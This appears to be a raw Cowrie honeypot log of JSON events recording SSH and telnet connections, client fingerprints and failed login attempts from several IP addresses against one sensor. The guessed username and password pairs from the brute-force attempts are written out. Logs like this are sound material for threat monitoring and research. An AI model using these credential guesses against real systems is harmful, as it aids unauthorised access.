{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:39.694589Z","src_ip":"45.153.34.114","session":"af7cb784f21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:39.966475Z","src_ip":"45.153.34.114","session":"af7cb784f21f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:41.141965Z","src_ip":"45.153.34.114","session":"af7cb784f21f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44776,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e67ed2dd1bd","protocol":"ssh","message":"New connection: 45.153.34.114:44776 (159.203.135.109:22) [session: 0e67ed2dd1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:47.677491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:47.682208Z","src_ip":"45.153.34.114","session":"0e67ed2dd1bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:47.767877Z","src_ip":"45.153.34.114","session":"0e67ed2dd1bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:48.161723Z","src_ip":"45.153.34.114","session":"0e67ed2dd1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40742,"dst_ip":"159.203.135.109","dst_port":22,"session":"f611bcec2d6d","protocol":"ssh","message":"New connection: 103.75.199.4:40742 (159.203.135.109:22) [session: f611bcec2d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:48.228224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:48.232808Z","src_ip":"103.75.199.4","session":"f611bcec2d6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:48.323895Z","src_ip":"103.75.199.4","session":"f611bcec2d6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:48.598501Z","src_ip":"103.75.199.4","session":"f611bcec2d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:49.246038Z","src_ip":"45.153.34.114","session":"0e67ed2dd1bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:49.692111Z","src_ip":"103.75.199.4","session":"f611bcec2d6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54152,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c1d50525e8","protocol":"ssh","message":"New connection: 45.153.34.114:54152 (159.203.135.109:22) [session: 19c1d50525e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:56.086269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:56.091153Z","src_ip":"45.153.34.114","session":"19c1d50525e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:56.176577Z","src_ip":"45.153.34.114","session":"19c1d50525e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:56.434414Z","src_ip":"45.153.34.114","session":"19c1d50525e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.580225467681885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:56.822156Z","src_ip":"112.214.19.41","session":"03f8bb463c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:57.544954Z","src_ip":"45.153.34.114","session":"19c1d50525e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.69026279449463,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:57.658830Z","src_ip":"50.6.8.71","session":"8387bdec30c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37262,"dst_ip":"159.203.135.109","dst_port":22,"session":"28f0875888e5","protocol":"ssh","message":"New connection: 45.153.34.114:37262 (159.203.135.109:22) [session: 28f0875888e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:04.185739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:04.190659Z","src_ip":"45.153.34.114","session":"28f0875888e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:04.281929Z","src_ip":"45.153.34.114","session":"28f0875888e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:04.542400Z","src_ip":"45.153.34.114","session":"28f0875888e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:05.639142Z","src_ip":"45.153.34.114","session":"28f0875888e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33366,"dst_ip":"159.203.135.109","dst_port":22,"session":"f035c9478ba8","protocol":"ssh","message":"New connection: 103.75.199.4:33366 (159.203.135.109:22) [session: f035c9478ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:10.131985Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":46616,"dst_ip":"159.203.135.109","dst_port":22,"session":"48039e1a0220","protocol":"ssh","message":"New connection: 2.57.121.112:46616 (159.203.135.109:22) [session: 48039e1a0220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:10.136060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:10.140941Z","src_ip":"103.75.199.4","session":"f035c9478ba8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:10.144307Z","src_ip":"2.57.121.112","session":"48039e1a0220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:10.236457Z","src_ip":"103.75.199.4","session":"f035c9478ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:10.250715Z","src_ip":"2.57.121.112","session":"48039e1a0220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:10.523011Z","src_ip":"103.75.199.4","session":"f035c9478ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dragnet","message":"login attempt [admin/dragnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:10.740565Z","src_ip":"2.57.121.112","session":"48039e1a0220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:11.622410Z","src_ip":"103.75.199.4","session":"f035c9478ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dragan","message":"login attempt [admin/dragan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:11.847347Z","src_ip":"2.57.121.112","session":"48039e1a0220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42744,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a68e5957956","protocol":"ssh","message":"New connection: 45.153.34.114:42744 (159.203.135.109:22) [session: 0a68e5957956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:12.294299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:12.299354Z","src_ip":"45.153.34.114","session":"0a68e5957956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:12.387270Z","src_ip":"45.153.34.114","session":"0a68e5957956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:12.775256Z","src_ip":"45.153.34.114","session":"0a68e5957956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"draft","message":"login attempt [admin/draft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:12.958964Z","src_ip":"2.57.121.112","session":"48039e1a0220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:13.868985Z","src_ip":"45.153.34.114","session":"0a68e5957956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dover1","message":"login attempt [admin/dover1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:14.066841Z","src_ip":"2.57.121.112","session":"48039e1a0220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dora","message":"login attempt [admin/dora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:15.174616Z","src_ip":"2.57.121.112","session":"48039e1a0220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:16.282511Z","src_ip":"2.57.121.112","session":"48039e1a0220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40316,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb6878fa3f5e","protocol":"ssh","message":"New connection: 45.153.34.114:40316 (159.203.135.109:22) [session: fb6878fa3f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:20.155893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:20.160816Z","src_ip":"45.153.34.114","session":"fb6878fa3f5e","protocol":"ssh"}
